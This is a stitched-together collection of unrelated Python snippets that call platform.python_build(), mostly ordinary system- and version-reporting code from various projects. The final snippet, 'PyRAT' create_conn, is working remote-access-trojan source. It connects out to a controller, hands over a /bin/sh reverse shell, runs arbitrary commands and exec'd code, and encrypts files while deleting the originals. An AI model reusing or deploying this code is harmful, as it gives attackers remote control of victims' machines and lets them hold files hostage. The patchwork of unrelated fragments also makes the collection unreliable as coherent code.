GIterator class 1.7.4.6: many RickLib fixes 1.7.4.7: updated to RickLib 1.2.1 1.8.0: added size and date filtering of files, updated to RickLib.1.2.5 1.9.0: added /b for backing up, removed untested options from docs 1.9.1: added /r for displaying relative paths 1.9.2: added /m for comparing found files against another directory tree 1.9.3: finished and fixed grep, fixed "!p", cleaned up output slightly, GArray fixes 1.9.4: merged 1.9.x branch with 1.8.0 (that\'ll teach me to leave my harddrive at home!) 1.9.5: added /C for executing commands on file contents 1.9.6: added /fm, /fM and new /fd, /fD usage 1.9.7: added /fa and /fA (Thanks for the idea, Jake!) 1.9.8: added /a 1.9.9: added /zFILE 1.9.9.1: rebuilt with latest RickLib 1.2.6 with latest bugfixes 1.10.0: update to latest RickLib (1.2.10) 1.11.0: added /e and /E 1.11.0.1: updated to RickLib 1.3.0 1.11.1: BackUp (/b) now uses OS-level calls rather than shelling out, added totals for various statistics, file copy shows percent progress for large files 1.11.2: Added Syntax check (/y) for doing very basic C/C++ format checking 1.11.2.1: RickLib 1.3.0 final and a few cosmetic things 1.11.3: Added !d and !D 1.11.4: updated to latest RickLib (1.3.1 dev) and a few performance enhancements 1.11.5: updated to latest RickLib (1.3.1 dev, still), fixed a time zone problem with GTime that caused /f not to work right 1.12.0: added /v (version check)... renamed old /v to /@ (verbose) 1.12.1: brought up to date with latest RickLib (1.4.0 dev) 2.0.0: completely rewrote RDirIterator and changed it to RDirEnumerator and RFileEnumerator, whereis no longer leaks massive memory during large jobs, plus the code is simpler 2.0.1: allows for multiple /b arguments, updated to RickLib 1.5.0 2.0.2: no longer uses iostream.h 2.0.2.1: default format width changed from 13 to 14... it was time... 2.0.3: built with RickLib 1.6.1 2.1.0: added support for UNC names ("\\\\machine\\share\\dir\\", etc) 2.1.1: added depth limiter command (added a numerical arg to /n) 2.1.2: added /N rename special command 3.0.0: port to python, only some features have been ported so far, but about 90% of what I actually use 3.0.1: bugfixes for directory totalling and explicitly replacing '*.*' with '*' since they mean the same thing in Windows 3.1.0: added -c and -b back (-c supports !!, !f, !q, !r ) 3.2.0: added -1 back 3.3.0: added !d, !D, !t, !T, !b, !c, !x, !p, !P, !/, !n, and !0 3.4.0: changed -l to -L, added -l 3.5.0: changed -L to -Ll, added -Lf, -Ln, -Lz, plus lots of bug fixing, better exception handling 3.5.1: fixed output (made sure all status stuff goes to stderr) 3.5.2: bug fixes for directory size output 3.5.3: bug fixes for directory size output and totalling 3.6.0: '/' as argument prefix for Windows, '-' for Linux, improved arg parsing, output order based on arg order, added /n 3.7.0: added /u, fixed /n, switched back to subprocess.call( ) from os.system( ), not sure which one is better 3.8.0: added /a 3.8.1: changed exit( ) to return because TCC uses shebang and calling exit( ) also causes TCC to exit, also python files can be run directly from the TCC command-line without needing a batch file or alias 3.8.2: small changes to status line, fixed /r 3.8.3: fixed use of undefined variable 3.8.4: changed back to os.system( ) because I can't get subprocess to work 3.8.5: blankLine wasn't updated if /Ll was set 3.8.6: directory depth wasn't always calculated correctly, causing /n1 to fail 3.8.7: added TO_DEV_NULL 3.8.8: now handles a permission exception when trying to get the filesize and just pretends the filesize is 0 3.8.9: increased default file length of 16... 100s of GB. It happens frequently enough when summing directory sizes. 3.8.10: status line cleanup is only done when needed 3.9.0: added /q, although the 3.8.10 fix eliminated the original reason for adding it 3.9.1: don't update the status line unless it's actually changed 3.9.2: handle stderr a little differently if stdout is being redirected since it doesn't need to be erased 3.9.3: stdout is redirected when it's being piped, so that change didn't work so well 3.9.4: I had stopped using reprlib correctly... probably a long time ago. 3.9.5: minor bug fix with attributeFlags 3.9.6: wrote help text to replace what argparse generates, because it's pretty ugly and hard to read 3.9.7: simple exception handling for Unicode filenames 3.9.8: whereis detects Unicode filenames rather than throwing an exception 3.9.9: added /g to turn off filename truncation 3.9.10: changed from os.system( ) to subprocess.Popen( ) which doesn't block 3.9.11: whereis didn't properly allow multiple instances of /i and /x, file name truncation is off by default, /g now turns it on 3.9.12: minor bug with escaping a single-quote when processing /c 3.10.0: Linux compatibility, Python 2 compatibility, finally implemented /b (oops), fixed /c command output to console, fixed /e, /a outputs file permissions on Linux 3.10.1: Cython support 3.10.2: whereis now catches FileNotFound exceptions when trying to get file information on files that are write-locked. 3.10.3: whereis now catches OSError exceptions, which are thrown when, for instance, a file has the name "CON". 3.11.0: added /y to search for duplicate files and /w to add extra source directories to search 3.11.1: added /?! to display the help file for the /c mini specification language, and modified the options to be more consistent 3.11.2: /?! didn't work. I also changed it to /!. Known bugs: - The original intent was to never have output wrap with /g (according to /Ll or the default of 80), but this never took into account extra columns being output. ''')
def __init__(self, param={}): self.document = None self.formula = None self.temp_dir = None self.debug = False if param.has_key('debug'): self.debug = param['debug'] if eqtexsvg_debug: self.debug = True if self.debug: inkscape_version = 'Inkscape 0.91 r13725 (Feb 19 2015)' logging.debug(inkscape_version) ## get Python informations system, release and machine informations logging.debug( "Python %s\nCompiler: %s\nBuild : %s" % (platform.python_version(), platform.python_compiler(), ' '.join(platform.python_build()))) logging.debug("Platform: %s" % (platform.platform())) logging.debug("Current Working Directory: %s" % (os.getcwd())) logging.debug("Current Extension Directory: %s" % (os.path.abspath(__file__))) try: self.temp_dir = tempfile.mkdtemp('', 'inkscape-') if self.debug: logging.debug(self.temp_dir) except: if self.debug: logging.debug('Temporary directory cannot be created') sys.exit('Temporary directory cannot be created') if param.has_key('document'): self.document = param['document'] if param.has_key('formula'): self.formula = unicode(param['formula'], 'utf-8') if self.debug: logging.debug(self.formula) else: if self.debug: logging.debug('No formula detected') sys.exit('Without formula, no equation will be generated') if param.has_key('packages'): self.pkgstring = param['packages'] else: self.pkgstring = "" if param.has_key('view_center'): self.view_center = param['view_center'] else: self.view_center = (0, 0) self.file_ext = ['.tex', '.aux', '.log', '.dvi', '.out', '.err', '.ps'] self.file = 'eq' self.svg = None self.file_tex = os.path.join(self.temp_dir, self.file + '.tex') self.file_ps = os.path.join(self.temp_dir, self.file + '.ps') self.file_dvi = os.path.join(self.temp_dir, self.file + '.dvi') self.file_svg = os.path.join(self.temp_dir, self.file + '.svg') self.file_out = os.path.join(self.temp_dir, self.file + '.out') self.file_err = os.path.join(self.temp_dir, self.file + '.err') self.latex = False self.dvips = False self.pstoedit = False self.dvisvgm = False
quante più informazioni possibili sulla piattaforma su cui il programma è attualmente in esecuzione. Ora per informazioni sulla piattaforma, significa informazioni sul dispositivo, il suo sistema operativo, il nodo, la versione del sistema operativo, la versione Python, ecc. Questo modulo gioca un ruolo cruciale quando vuoi verificare se il tuo programma è compatibile con la versione python installata su un particolare sistema o se le specifiche hardware soddisfano i requisiti del programma. """ #mostra la cpu che è installata sul dispositivo print('Platform processor:', platform.processor()) #mostrara l'archittetura del sistema print('Platform architecture:', platform.architecture()) #mostra il tipo di macchina(dispositivo) print('Machine type:', platform.machine()) #mostra il nome di rete del sistema print('System\'s network name:', platform.node()) #mostra il nome del sistema operativo print('Operating system:', platform.system()) #mostra la data di compilazione e la n print('Python build no. and date:', platform.python_build()) #mostra il compilatori che è stato usato per compilare python print('Python compiler:', platform.python_compiler()) #mostra la versione di python print('Python version:', platform.python_version())
def get_python_build(): ''' the Python build number and date as strings''' return platform.python_build()
sc = spark.sparkContext sql = spark.sql atexit.register(lambda: sc.stop()) # for compatibility sqlContext = spark._wrapped sqlCtx = sqlContext print(r"""Welcome to ____ __ / __/__ ___ _____/ /__ _\ \/ _ \/ _ `/ __/ '_/ /__ / .__/\_,_/_/ /_/\_\ version %s /_/ """ % sc.version) print("Using Python version %s (%s, %s)" % (platform.python_version(), platform.python_build()[0], platform.python_build()[1])) print("Spark context Web UI available at %s" % (sc.uiWebUrl)) print("Spark context available as 'sc' (master = %s, app id = %s)." % (sc.master, sc.applicationId)) print("SparkSession available as 'spark'.") # The ./bin/pyspark script stores the old PYTHONSTARTUP value in OLD_PYTHONSTARTUP, # which allows us to execute the user's PYTHONSTARTUP file: _pythonstartup = os.environ.get("OLD_PYTHONSTARTUP") if _pythonstartup and os.path.isfile(_pythonstartup): with open(_pythonstartup) as f: code = compile(f.read(), _pythonstartup, "exec") exec(code)
def python_version_string(): version_info = sys.pypy_version_info if platform.python_implementation() == 'PyPy' else sys.version_info version_string = '{v.major}.{v.minor}.{v.micro}'.format(v=version_info) build, _ = platform.python_build() return '{}-{}-{}'.format(platform.python_implementation(), version_string, build)
# this is the equivalent of ADD_JARS add_files = (os.environ.get("ADD_FILES").split(',') if os.environ.get("ADD_FILES") is not None else None) if os.environ.get("SPARK_EXECUTOR_URI"): SparkContext.setSystemProperty("spark.executor.uri", os.environ["SPARK_EXECUTOR_URI"]) sc = SparkContext(appName="PySparkShell", pyFiles=add_files) print("""Welcome to ____ __ / __/__ ___ _____/ /__ _\ \/ _ \/ _ `/ __/ '_/ /__ / .__/\_,_/_/ /_/\_\ version 1.1.0 /_/ """) print("Using Python version %s (%s, %s)" % ( platform.python_version(), platform.python_build()[0], platform.python_build()[1])) print("SparkContext available as sc.") if add_files is not None: print("Adding files: [%s]" % ", ".join(add_files)) # The ./bin/pyspark script stores the old PYTHONSTARTUP value in OLD_PYTHONSTARTUP, # which allows us to execute the user's PYTHONSTARTUP file: _pythonstartup = os.environ.get('OLD_PYTHONSTARTUP') if _pythonstartup and os.path.isfile(_pythonstartup): execfile(_pythonstartup)
def main(self): try: dist = pkg_resources.get_distribution('steelscript') except pkg_resources.DistributionNotFound: print "Package not found: 'steelscript'" print "Check the installation" sys.exit(1) e = pkg_resources.AvailableDistributions() print "" print "Installed SteelScript Packages" print "Core packages:" core_pkgs = [ x for x in e if x.startswith('steel') and 'appfwk' not in x ] core_pkgs.sort() for p in core_pkgs: pkg = pkg_resources.get_distribution(p) print ' %-40s %s' % (pkg.project_name, pkg.version) print "" print "Application Framework packages:" appfwk_pkgs = [x for x in e if x.startswith('steel') and 'appfwk' in x] if appfwk_pkgs: appfwk_pkgs.sort() for p in appfwk_pkgs: pkg = pkg_resources.get_distribution(p) print ' %-40s %s' % (pkg.project_name, pkg.version) else: print "None." print "" print "Paths to source:" paths = [os.path.dirname(p) for p in steelscript.__path__] paths.sort() for p in paths: print " %s" % p if self.options.verbose: print "" print "Python information:" print ' Version :', platform.python_version() print ' Version tuple:', platform.python_version_tuple() print ' Compiler :', platform.python_compiler() print ' Build :', platform.python_build() print ' Architecture :', platform.architecture() print "" print "Platform information:" print ' platform :', platform.platform() print ' system :', platform.system() print ' node :', platform.node() print ' release :', platform.release() print ' version :', platform.version() print ' machine :', platform.machine() print ' processor:', platform.processor() print "" print "Python path:" print sys.path else: print "" print "(add -v or --verbose for further information)"
# Import modules import os import sys import platform from time import ctime from rich.console import Console # Define styled print print = Console().print purple = "blue_violet" yellow = "yellow1" red = "red3" py_version = platform.python_version() py_build = "{}, DATE: {}".format(*platform.python_build()) py_compiler = platform.python_compiler() script_location = os.path.dirname(os.path.realpath(sys.argv[0])) current_location = os.getcwd() system = platform.system() system_realese = platform.release() system_version = platform.version() system_architecture = {"{} {}".format(*platform.architecture())} system_processor = platform.processor() system_machine = platform.machine() system_node = platform.node() system_time = ctime() def CriticalError(message, error) -> None:
def instance_metadata(keys): # support instance metadata features d = {} d['server_rsa_public_key'] = server_rsa_public_key try: h = httplib.HTTPConnection("169.254.169.254", timeout=.5) if h: for k in keys: try: h.request("GET", "/latest/meta-data/%s" % k) resp = h.getresponse() if resp.status == 200: d[k] = bytes(resp.read().encode("utf-8")) except: pass except: pass try: d['machine'] = platform.machine() d['node'] = platform.node() d['platform'] = platform.platform() d['processor'] = platform.processor() d['python_build'] = platform.python_build() d['python_version'] = platform.python_version() d['release'] = platform.release() d['system'] = platform.system() d['version'] = platform.version() d['uname'] = platform.uname() d['linux_distribution'] = platform.linux_distribution( supported_dists=('SuSE', 'debian', 'fedora', 'redhat', 'centos', 'mandrake', 'mandriva', 'rocks', 'slackware', 'yellowdog', 'gentoo', 'UnitedLinux', 'turbolinux', 'system')) try: if d['linux_distribution'] == ('', '', ''): d['issue'] = (open("/etc/issue").read()[:80] if os.path.isfile("/etc/issue") else "") except: pass except: d['metadata_status'] = 'error' # identify loose keys (keyscan) d['loose_keys'] = [] looseusers = {} for username, homedir in [(user[0], user[5]) for user in app["passwd"]]: sshdir = homedir + "/.ssh/" if os.path.isdir(sshdir): for fname in os.listdir(sshdir): # This will catch a new Userify username's key the first cycle, but not subsequent # cycles, because this function runs before we have the latest username list from Userify. # Once the new user is created, that new user will show up in current_userify_users and # be ignored. if fname not in ("deleted:authorized_keys", "known_hosts", "config") and not fname.endswith(".pub"): if fname in ("authorized_keys", "authorized_keys2" ) and username in current_userify_users(True): continue if username not in looseusers: looseusers[username] = [] looseusers[username].append(sshdir + fname) for username, files in looseusers.items(): # This format is subject to change in subsequent releases. d['loose_keys'].append(username + "\n" + ("\n".join(files))) return d
def main(): usage = "usage: %prog [-h|--help] [options]" parser = OptionParser(usage=usage) parser.add_option("-t", "--throughput", action="store_true", dest="throughput", default=False, help="run throughput tests") parser.add_option("-l", "--latency", action="store_true", dest="latency", default=False, help="run latency tests") parser.add_option("-b", "--bandwidth", action="store_true", dest="bandwidth", default=False, help="run I/O bandwidth tests") parser.add_option("-i", "--interval", action="store", type="int", dest="check_interval", default=None, help="sys.setcheckinterval() value") parser.add_option("-I", "--switch-interval", action="store", type="float", dest="switch_interval", default=None, help="sys.setswitchinterval() value") parser.add_option("-n", "--num-threads", action="store", type="int", dest="nthreads", default=4, help="max number of threads in tests") # Hidden option to run the pinging and bandwidth clients parser.add_option("", "--latclient", action="store", dest="latclient", default=None, help=SUPPRESS_HELP) parser.add_option("", "--bwclient", action="store", dest="bwclient", default=None, help=SUPPRESS_HELP) options, args = parser.parse_args() if args: parser.error("unexpected arguments") if options.latclient: kwargs = eval(options.latclient) latency_client(**kwargs) return if options.bwclient: kwargs = eval(options.bwclient) bandwidth_client(**kwargs) return if not options.throughput and not options.latency and not options.bandwidth: options.throughput = options.latency = options.bandwidth = True if options.check_interval: sys.setcheckinterval(options.check_interval) if options.switch_interval: sys.setswitchinterval(options.switch_interval) print("== %s %s (%s) ==" % ( platform.python_implementation(), platform.python_version(), platform.python_build()[0], )) # Processor identification often has repeated spaces cpu = ' '.join(platform.processor().split()) print("== %s %s on '%s' ==" % ( platform.machine(), platform.system(), cpu, )) print() if options.throughput: print("--- Throughput ---") print() run_throughput_tests(options.nthreads) if options.latency: print("--- Latency ---") print() run_latency_tests(options.nthreads) if options.bandwidth: print("--- I/O bandwidth ---") print() run_bandwidth_tests(options.nthreads)
import platform ################################ Cross Platform ################################ platform.architecture() # Returns a tuple (bits, linkage) platform.machine() # Returns the machine type, e.g. 'i386' platform.node() # Returns the computer’s network name platform.platform( ) # Returns a single string identifying the underlying platform with as much useful information as possible. platform.processor() # Returns the (real) processor name, e.g. 'amdk6'. platform.python_build( ) # Returns a tuple (buildno, builddate) stating the Python build number and date as strings. platform.python_compiler( ) # Returns a string identifying the compiler used for compiling Python. platform.python_branch( ) # Returns a string identifying the Python implementation SCM branch. platform.python_implementation( ) # Returns a string identifying the Python implementation platform.python_revision( ) # Returns a string identifying the Python implementation SCM revision. platform.python_version( ) # Returns the Python version as string 'major.minor.patchlevel'
def os_data(self): """ Sets atoms concerning the operating system. :return: None """ atoms = {} atoms["pid"] = os.getpid() (atoms["kernel"], atoms["system.name"], atoms["kernel.release"], version, atoms["cpu.arch"], _) = platform.uname() atoms["python.version"] = platform.python_version() atoms["python.build"] = platform.python_build()[0] atoms["cpu.count"] = 0 atoms["mem.total"] = 0 atoms["mem.sizing"] = "medium" atoms["os.family"] = "Unknown" if HAS_PSUTIL: atoms["cpu.count"] = psutil.cpu_count() memory = psutil.virtual_memory() atoms["mem.total"] = memory.total if memory.total < 550502400: # less then 525mb atoms["mem.sizing"] = "x_small" elif memory.total < 1101004800: # less then 1050mb atoms["mem.sizing"] = "small" elif memory.total < 1651507200: # less then 1575mb atoms["mem.sizing"] = "medium" elif memory.total < 2202009600: # less than 2100mb atoms["mem.sizing"] = "large" elif memory.total < 4404019200: # less than 4200mb atoms["mem.sizing"] = "x_large" else: # more than 4200mb atoms["mem.sizing"] = "xx_large" if yombo.utils.is_windows(): atoms["os"] = "Windows" atoms["os.family"] = "Windows" elif yombo.utils.is_linux(): atoms["os"] = "Linux" atoms["os.family"] = "Linux" (osname, osrelease, oscodename) = \ [x.strip(""").strip(""") for x in # distro.linux_distribution(full_distribution_name=False) platform.linux_distribution(supported_dists=SUPPORTED_DISTS)] if "os.fullname" not in atoms: atoms["os.fullname"] = osname.strip() if "os.release" not in atoms: atoms["os.release"] = osrelease.strip() atoms["os.codename"] = oscodename.strip() distroname = _REPLACE_LINUX_RE.sub("", atoms["os.fullname"]).strip() # return the first ten characters with no spaces, lowercased shortname = distroname.replace(" ", "").lower()[:10] # this maps the long names from the /etc/DISTRO-release files to the # traditional short names that Salt has used. atoms["os"] = _MAP_OS_NAME.get(shortname, distroname) elif atoms["kernel"] == "Darwin": atoms["os"] = "Mac" atoms["os.family"] = "Darwin" elif atoms["kernel"] == "SunOS": atoms["os"] = "SunOS" atoms["os.family"] = "Solaris" else: atoms["os"] = atoms["kernel"] for name, value in atoms.items(): self.set(name, value, source=self) return atoms
def SOFTinfo(): softinfo={} softinfo={'Several': platform.uname() , 'S.O':platform.platform(), 'Pythons Version': platform.python_version() , 'Date':platform.python_build()} return softinfo
def main(): print 'hello' print 'Version :', platform.python_version() print 'Version tuple:', platform.python_version_tuple() print 'Compiler :', platform.python_compiler() print 'Build :', platform.python_build()
def get_system_details(backends=True): """Return a dictionary with information about the system """ buildno, builddate = platform.python_build() if sys.maxunicode == 65535: # UCS2 build (standard) unitype = 'UCS2' else: # UCS4 build (most recent Linux distros) unitype = 'UCS4' bits, linkage = platform.architecture() d = { 'platform': platform.platform(), 'processor': platform.processor(), 'executable': sys.executable, 'implementation': getattr(platform, 'python_implementation', lambda: 'n/a')(), 'python': platform.python_version(), 'compiler': platform.python_compiler(), 'buildno': buildno, 'builddate': builddate, 'unicode': unitype, 'bits': bits, 'pyvisa': __version__, 'backends': OrderedDict() } if backends: from . import highlevel for backend in highlevel.list_backends(): if backend.startswith('pyvisa-'): backend = backend[7:] try: cls = highlevel.get_wrapper_class(backend) except Exception as e: d['backends'][backend] = [ 'Could not instantiate backend', '-> %s' % str(e) ] continue try: d['backends'][backend] = cls.get_debug_info() except Exception as e: d['backends'][backend] = [ 'Could not obtain debug info', '-> %s' % str(e) ] return d
import platform print() print(platform.platform()) # Windows-10-10.0.19041-SP0 print(platform.system()) # Windows print(platform.release()) # 10 print(platform.machine()) # AMD64 print(platform.architecture()) # ('32bit', 'WindowsPE') print( platform.processor()) # Intel64 Family 6 Model 94 Stepping 3, GenuineIntel print() print( platform.python_build()) # ('tags/v3.8.1:1b293b6', 'Dec 18 2019 22:39:24') print(platform.python_branch()) # tags/v3.8.1 print(platform.python_version()) # 3.8.1 print(platform.python_version_tuple()) # ('3', '8', '1') print(platform.python_revision()) # 1b293b6 print(platform.python_implementation()) # CPython print(platform.python_compiler()) # MSC v.1916 32 bit (Intel)
def detalhes_do_python(cliente): mensagem = "\nVersao: {}\n Versao Tuple: {} \nCompilador: {} Build: {}".format( platform.python_version(), platform.python_version_tuple(), platform.python_compiler(), platform.python_build()) cliente.send(mensagem.encode())
import platform print 'Version :', platform.python_version() print 'Version tuple:', platform.python_version_tuple() print 'Compiler :', platform.python_compiler() print 'Build :', platform.python_build()
dist_version = None user_linux = None path_unix = None lang = None user_id = None if os_name == "Linux": dist_name = "dist name : " + platform.dist()[0] dist_version = "dist version: " + platform.dist()[1] user = "******" + os.environ["USER"] path_unix = "path : " + os.environ["PATH"] lang = "lang : " + os.environ["LANG"] user_id = ("user id : " + str(os.getresuid()[0]) + " " + str(os.getresuid()[1]) + " " + str(os.getresuid()[0])) # python info build = ("python build : " + platform.python_build()[0] + " " + platform.python_build()[1]) version = "python version : " + platform.python_version() compiler = "python compiler : " + platform.python_compiler() # display information to screen print(arch) print(node_name) print(processor) print("os name : {}".format(os_name)) print(os_release) print(os_version) print(current_time) if os_name == "Windows": print(os_servicepack) print(path_win)
#/usr/bin/env python # -*- coding: utf-8 -*- import platform profile = [ platform.architecture(), platform.dist(), platform.libc_ver(), platform.mac_ver(), platform.machine(), platform.node(), platform.platform(), platform.processor(), platform.python_build(), platform.python_compiler(), platform.python_version(), platform.system(), platform.uname(), platform.version(), ] for item in profile: print item
description = str(version_dict['description']) package_name = str(version_dict['package_name']) package_folder = str(version_dict['package_folder']) status = str(version_dict['status']) long_description = str(open('README.rst').read()) # creates version.py from _version.json with open(path.join(package_name, 'version.py'), 'w+') as project_version_file: project_version_file.write('\n'.join([ '# THIS FILE IS AUTO-GENERATED. PLEASE DO NOT MODIFY' '# version file for ' + package_name, '# generated on ' + datetime.now().__str__(), '# on system ' + str(uname()), '# with Python ' + python_version() + ' - ' + str(python_build()) + ' - ' + python_compiler(), '#', '__version__ = ' + "'" + version + "'", '__author__ = ' + "'" + author + "'", '__email__ = ' + "'" + email + "'", '__url__ = ' + "'" + url + "'", '__description__ = ' + "'" + description + "'", '__status__ = ' + "'" + status + "'", '__license__ = ' + "'" + license + "'"])) # update README.rst from _changelog.txt with open(path.join('README.rst'), 'r+') as project_readme_file, \ open(path.join('_changelog.txt'), 'r') as project_changelog_file: readme = project_readme_file.read() changelog_identifier = '\nChangelog\n---------\n\n'
def check_python(): print('----------Python Info----------') print('Version :', platform.python_version()) print('Compiler :', platform.python_compiler()) print('Build :', platform.python_build()) print('Arch :', platform.architecture())
def create_conn(host, port, ver): while True: # Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) # Trying to connect with host try: s.connect((host, port)) except socket.error: #print("no conn") time.sleep(10) continue s.settimeout(None) hostname = socket.gethostname() #ip = socket.gethostname(socket.gethostname()) m1 = "Connection Estabilished!\nPyRAT {}\nHost: {}\nSay Hi!\n\ncmd> ".format( ver, hostname) s.send(m1.encode()) _help = """ Help Menu: ---------- help | Help menu. exit | Break connection but keep running. close | Close connection and stop. sendbc | Send broadcast notification. sysinfo | System Information. pyinfo | Python Information. shell | Spawn shell. genkey | Generate key. encry | Encrypt file. Usage: encry /path/to/the/file key decry | Decrypt file. Usage: decry /path/to/the/file key cmd> """ try: while 1: data = s.recv(1024) data = data.decode() datasplit = data.split(" ") if data == "close\n": break exit() elif data == "exit\n": s.close() break create_conn(host, port) elif data == "help\n": s.send(_help.encode()) elif data == "hi\n": m2 = "Hi, good to see you!\ncmd> " s.send(m2.encode()) elif data == "shell\n": os.getenv(host) os.getenv(str(port)) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn("/bin/sh") elif datasplit[0] == "sendbc": bcm = "wall " + " ".join(datasplit[1:]) os.system(bcm) elif data == "sysinfo\n": mach = platform.machine() sys = platform.system() plat = platform.platform() pross = platform.processor() rel = platform.release() m3 = """ Enviroment: ----------- System: {} Machine: {} Platform: {} Processor: {} Release: {} cmd> """.format(sys, mach, plat, pross, rel) s.send(m3.encode()) elif data == "pyinfo\n": pyver = platform.python_version() pycompiler = platform.python_compiler() pybuild = platform.python_build() pybranch = platform.python_branch() m4 = """ Python Information: ------------------- Python Version: {} Compiler: {} Build: {} Branch: {} cmd> """.format(pyver, pycompiler, pybuild, pybranch) s.send(m4.encode()) elif data[:4] == "exec": try: exec(data[5:]) except: pass elif data == "genkey\n": retkey = "Generating key:\n" retkey2 = "\ncmd> " key = Fernet.generate_key() s.send(retkey.encode()) s.send(key) s.send(retkey2.encode()) elif datasplit[0] == "encry": try: arq = datasplit[1] key = datasplit[2] keyb = key.encode() arqo = open(arq, "rb") arqor = arqo.read() f = Fernet(keyb) encry = f.encrypt(arqor) arqo.close() new_nm = arq + ".crypt" n = open(new_nm, 'wb') n.write(encry) n.close() os.remove(arq) godmes = "Successfully Encrypted\ncmd> " s.send(godmes.encode()) except: errorcry = "Error.\ncmd> " s.send(errorcry.encode()) elif datasplit[0] == "decry": try: arq = datasplit[1] arqo = open(arq, "rb") arqor = arqo.read() key = datasplit[2] keyb = key.encode() new_nm = arq.split(".crypt") new_nm0 = new_nm[0] arqo.close() f = Fernet(keyb) decry = f.decrypt(arqor) n = open(new_nm0, 'wb') n.write(decry) os.remove(arq) n.close() godmes = "Successfully Decrypted\ncmd> " s.send(godmes.encode()) except: errorcry = "Error.\ncmd> " s.send(errorcry.encode()) else: proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) cmd = "cmd> " s.send(cmd.encode()) except socket.timeout: time.sleep(0) continue